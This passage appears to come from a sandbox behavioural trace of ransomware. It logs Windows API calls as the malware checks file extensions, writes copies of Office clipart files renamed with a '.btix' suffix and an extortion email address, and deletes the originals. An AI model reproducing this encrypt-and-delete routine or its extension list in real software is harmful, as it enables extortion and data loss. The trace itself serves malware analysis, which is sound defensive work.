(lpString1=".zip", lpString2=".WMF") returned 1 [0057.723] lstrlenW (lpString=".rar") returned 4 [0057.723] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0057.724] lstrlenW (lpString=".bz2") returned 4 [0057.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0057.724] lstrlenW (lpString=".7z") returned 3 [0057.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0057.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.724] lstrlenW (lpString=".dbf") returned 4 [0057.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0057.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.724] lstrlenW (lpString=".1cd") returned 4 [0057.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0057.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00152_.WMF") returned 68 [0057.724] lstrlenW (lpString=".jpg") returned 4 [0057.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0057.724] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0057.724] lstrlenW (lpString="BL00234_.WMF") returned 12 [0057.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0057.728] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=9304) returned 1 [0057.728] CloseHandle (hObject=0x390) returned 1 [0057.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 0x220 [0057.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0057.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0057.823] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.823] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0057.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0057.824] GetLastError () returned 0x0 [0057.824] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x2458, lpOverlapped=0x0) returned 1 [0058.379] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x2460, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x2460, lpOverlapped=0x0) returned 1 [0058.380] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.380] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.380] SetEndOfFile (hFile=0x308) returned 1 [0058.576] CloseHandle (hObject=0x308) returned 1 [0058.577] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.577] SetEndOfFile (hFile=0x328) returned 1 [0058.578] CloseHandle (hObject=0x328) returned 1 [0058.578] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.578] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00234_.wmf")) returned 1 [0058.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.578] lstrlenW (lpString=".doc") returned 4 [0058.578] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.578] lstrlenW (lpString=".docx") returned 5 [0058.578] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.578] lstrlenW (lpString=".pdf") returned 4 [0058.578] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.578] lstrlenW (lpString=".xls") returned 4 [0058.578] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.578] lstrlenW (lpString=".xlsx") returned 5 [0058.578] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.578] lstrlenW (lpString=".ppt") returned 4 [0058.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.579] lstrlenW (lpString=".zip") returned 4 [0058.579] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.579] lstrlenW (lpString=".rar") returned 4 [0058.579] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString=".bz2") returned 4 [0058.579] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString=".7z") returned 3 [0058.579] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.579] lstrlenW (lpString=".dbf") returned 4 [0058.579] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.579] lstrlenW (lpString=".1cd") returned 4 [0058.579] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.579] lstrlenW (lpString=".jpg") returned 4 [0058.579] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.579] lstrlenW (lpString=".doc") returned 4 [0058.579] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString=".docx") returned 5 [0058.579] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.579] lstrlenW (lpString=".pdf") returned 4 [0058.579] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString=".xls") returned 4 [0058.579] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.579] lstrlenW (lpString=".xlsx") returned 5 [0058.579] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.579] lstrlenW (lpString=".ppt") returned 4 [0058.579] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.580] lstrlenW (lpString=".zip") returned 4 [0058.580] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.580] lstrlenW (lpString=".rar") returned 4 [0058.580] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.580] lstrlenW (lpString=".bz2") returned 4 [0058.580] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.580] lstrlenW (lpString=".7z") returned 3 [0058.580] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.580] lstrlenW (lpString=".dbf") returned 4 [0058.580] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.580] lstrlenW (lpString=".1cd") returned 4 [0058.580] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.580] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00234_.WMF") returned 68 [0058.580] lstrlenW (lpString=".jpg") returned 4 [0058.580] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.580] lstrcmpiW (lpString1=".WMF", lpString2=".btix") returned 1 [0058.580] lstrlenW (lpString="BL00265_.WMF") returned 12 [0058.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.581] GetFileSizeEx (in: hFile=0x328, lpFileSize=0x352ff14 | out: lpFileSize=0x352ff14*=5752) returned 1 [0058.581] CloseHandle (hObject=0x328) returned 1 [0058.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 0x220 [0058.581] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0058.581] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x328 [0058.582] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.582] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.582] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.582] GetLastError () returned 0x0 [0058.582] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x1678, lpOverlapped=0x0) returned 1 [0058.643] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x1680, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x1680, lpOverlapped=0x0) returned 1 [0058.644] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.644] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.644] SetEndOfFile (hFile=0x308) returned 1 [0058.645] CloseHandle (hObject=0x308) returned 1 [0058.645] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.645] SetEndOfFile (hFile=0x328) returned 1 [0058.646] CloseHandle (hObject=0x328) returned 1 [0058.646] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.646] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00265_.wmf")) returned 1 [0058.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.647] lstrlenW (lpString=".doc") returned 4 [0058.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.647] lstrlenW (lpString=".docx") returned 5 [0058.647] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.647] lstrlenW (lpString=".pdf") returned 4 [0058.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.647] lstrlenW (lpString=".xls") returned 4 [0058.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.647] lstrlenW (lpString=".xlsx") returned 5 [0058.647] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.647] lstrlenW (lpString=".ppt") returned 4 [0058.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.647] lstrlenW (lpString=".zip") returned 4 [0058.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.647] lstrlenW (lpString=".rar") returned 4 [0058.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.647] lstrlenW (lpString=".bz2") returned 4 [0058.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.647] lstrlenW (lpString=".7z") returned 3 [0058.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.647] lstrlenW (lpString=".dbf") returned 4 [0058.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.647] lstrlenW (lpString=".1cd") returned 4 [0058.648] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.648] lstrlenW (lpString=".jpg") returned 4 [0058.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.648] lstrlenW (lpString=".doc") returned 4 [0058.648] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString=".docx") returned 5 [0058.648] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.648] lstrlenW (lpString=".pdf") returned 4 [0058.648] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString=".xls") returned 4 [0058.648] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.648] lstrlenW (lpString=".xlsx") returned 5 [0058.648] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.648] lstrlenW (lpString=".ppt") returned 4 [0058.648] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.648] lstrlenW (lpString=".zip") returned 4 [0058.648] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.648] lstrlenW (lpString=".rar") returned 4 [0058.648] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString=".bz2") returned 4 [0058.648] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.648] lstrlenW (lpString=".7z") returned 3 [0058.648] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.648] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.648] lstrlenW (lpString=".dbf") returned 4 [0058.648] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.649] lstrlenW (lpString=".1cd") returned 4 [0058.649] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.649] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00265_.WMF") returned 68 [0058.649] lstrlenW (lpString=".jpg") returned 4 [0058.649] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.767] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.768] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.768] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.768] GetLastError () returned 0x0 [0058.768] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0xbc8, lpOverlapped=0x0) returned 1 [0058.789] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xbd0, lpOverlapped=0x0) returned 1 [0058.790] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.790] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.790] SetEndOfFile (hFile=0x308) returned 1 [0058.790] CloseHandle (hObject=0x308) returned 1 [0058.791] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.791] SetEndOfFile (hFile=0x328) returned 1 [0058.792] CloseHandle (hObject=0x328) returned 1 [0058.792] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.792] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00270_.wmf")) returned 1 [0058.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0058.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0058.793] lstrlenW (lpString=".doc") returned 4 [0058.793] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.793] lstrlenW (lpString=".docx") returned 5 [0058.793] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.793] lstrlenW (lpString=".pdf") returned 4 [0058.793] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.793] lstrlenW (lpString=".xls") returned 4 [0058.793] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0058.793] lstrlenW (lpString=".xlsx") returned 5 [0058.793] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0058.793] lstrlenW (lpString=".ppt") returned 4 [0058.793] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0058.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0058.793] lstrlenW (lpString=".zip") returned 4 [0058.793] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0058.793] lstrlenW (lpString=".rar") returned 4 [0058.793] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0058.793] lstrlenW (lpString=".bz2") returned 4 [0058.793] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0058.793] lstrlenW (lpString=".7z") returned 3 [0058.793] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0058.793] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0058.793] lstrlenW (lpString=".dbf") returned 4 [0058.793] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0058.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0058.794] lstrlenW (lpString=".1cd") returned 4 [0058.794] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0058.794] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00270_.WMF") returned 68 [0058.794] lstrlenW (lpString=".jpg") returned 4 [0058.794] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0058.794] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.794] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.794] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0058.794] GetLastError () returned 0x0 [0058.794] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x32c, lpOverlapped=0x0) returned 1 [0058.809] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x330, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x330, lpOverlapped=0x0) returned 1 [0058.810] ReadFile (in: hFile=0x328, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0058.810] WriteFile (in: hFile=0x308, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0058.810] SetEndOfFile (hFile=0x308) returned 1 [0058.821] CloseHandle (hObject=0x308) returned 1 [0058.833] SetFilePointerEx (in: hFile=0x328, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0058.833] SetEndOfFile (hFile=0x328) returned 1 [0058.833] CloseHandle (hObject=0x328) returned 1 [0058.833] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0058.834] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00296_.wmf")) returned 1 [0058.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0058.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00296_.WMF") returned 68 [0058.834] lstrlenW (lpString=".doc") returned 4 [0058.834] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0058.834] lstrlenW (lpString=".docx") returned 5 [0058.834] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0058.834] lstrlenW (lpString=".pdf") returned 4 [0058.834] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0058.834] lstrlenW (lpString=".xls") returned 4 [0058.834] 